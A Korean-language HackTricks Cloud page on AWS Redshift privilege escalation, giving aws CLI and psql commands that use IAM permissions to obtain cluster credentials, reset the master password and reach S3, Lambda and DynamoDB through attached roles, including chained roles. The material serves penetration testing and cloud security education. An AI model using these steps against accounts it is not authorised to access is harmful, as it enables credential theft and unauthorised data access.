AWS - Redshift Privesc
Reading time: 4 minutes
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
Redshift
RDS에 대한 자세한 정보는 다음을 확인하세요:
redshift:DescribeClusters
, redshift:GetClusterCredentials
이 권한을 사용하면 모든 클러스터의 정보(이름 및 클러스터 사용자 이름 포함)를 얻고 접속할 수 있는 자격 증명을 얻을 수 있습니다:
# Get creds
aws redshift get-cluster-credentials --db-user postgres --cluster-identifier redshift-cluster-1
# Connect, even if the password is a base64 string, that is the password
psql -h redshift-cluster-1.asdjuezc439a.us-east-1.redshift.amazonaws.com -U "IAM:<username>" -d template1 -p 5439
잠재적 영향: 데이터베이스 내의 민감한 정보 찾기.
redshift:DescribeClusters
, redshift:GetClusterCredentialsWithIAM
이 권한을 사용하면 모든 클러스터의 정보를 얻고 액세스할 수 있는 자격 증명을 얻을 수 있습니다.
postgres 사용자는 자격 증명을 얻는 데 사용된 IAM ID의 권한을 갖게 됩니다.
# Get creds
aws redshift get-cluster-credentials-with-iam --cluster-identifier redshift-cluster-1
# Connect, even if the password is a base64 string, that is the password
psql -h redshift-cluster-1.asdjuezc439a.us-east-1.redshift.amazonaws.com -U "IAMR:AWSReservedSSO_AdministratorAccess_4601154638985c45" -d template1 -p 5439
잠재적 영향: 데이터베이스 내에서 민감한 정보 찾기.
redshift:DescribeClusters
, redshift:ModifyCluster?
aws cli를 통해 내부 postgres (redshit) 사용자의 마스터 비밀번호를 수정할 수 있습니다 (필요한 권한이 이 것들이라고 생각하지만 아직 테스트해보지 않았습니다):
aws redshift modify-cluster –cluster-identifier <identifier-for-the cluster> –master-user-password ‘master-password’;
잠재적 영향: 데이터베이스 내에서 민감한 정보를 찾습니다.
외부 서비스 접근
warning
다음 리소스에 접근하려면 사용할 역할을 지정해야 합니다. Redshift 클러스터는 사용할 수 있는 AWS 역할 목록을 할당받을 수 있으며, ARN을 알고 있다면 사용할 수 있습니다. 또는 기본적으로 할당된 역할을 사용하기 위해 "default"로 설정할 수 있습니다.
또한, 여기에서 설명된 대로, Redshift는 추가 접근을 위해 역할을 콤마로 구분하여 연결할 수 있습니다(첫 번째 역할이 두 번째 역할을 수용할 수 있는 경우):
iam_role 'arn:aws:iam::123456789012:role/RoleA,arn:aws:iam::210987654321:role/RoleB';
람다
https://docs.aws.amazon.com/redshift/latest/dg/r_CREATE_EXTERNAL_FUNCTION.html에서 설명된 바와 같이, Redshift에서 다음과 같은 방식으로 람다 함수를 호출할 수 있습니다:
CREATE EXTERNAL FUNCTION exfunc_sum2(INT,INT)
RETURNS INT
STABLE
LAMBDA 'lambda_function'
IAM_ROLE default;
S3
https://docs.aws.amazon.com/redshift/latest/dg/tutorial-loading-run-copy.html에서 설명된 바와 같이, S3 버킷에 읽고 쓸 수 있습니다:
# Read
copy table from 's3://<your-bucket-name>/load/key_prefix'
credentials 'aws_iam_role=arn:aws:iam::<aws-account-id>:role/<role-name>'
region '<region>'
options;
# Write
unload ('select * from venue')
to 's3://mybucket/tickit/unload/venue_'
iam_role default;
Dynamo
https://docs.aws.amazon.com/redshift/latest/dg/t_Loading-data-from-dynamodb.html에서 설명된 바와 같이, dynamodb에서 데이터를 가져오는 것이 가능합니다:
copy favoritemovies
from 'dynamodb://ProductCatalog'
iam_role 'arn:aws:iam::0123456789012:role/MyRedshiftRole';
warning
데이터를 제공하는 Amazon DynamoDB 테이블은 클러스터와 동일한 AWS 리전에서 생성되어야 합니다. 그렇지 않으면 Amazon DynamoDB 테이블이 위치한 AWS 리전을 지정하기 위해 REGION 옵션을 사용해야 합니다.
EMR
Check https://docs.aws.amazon.com/redshift/latest/dg/loading-data-from-emr.html
References
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.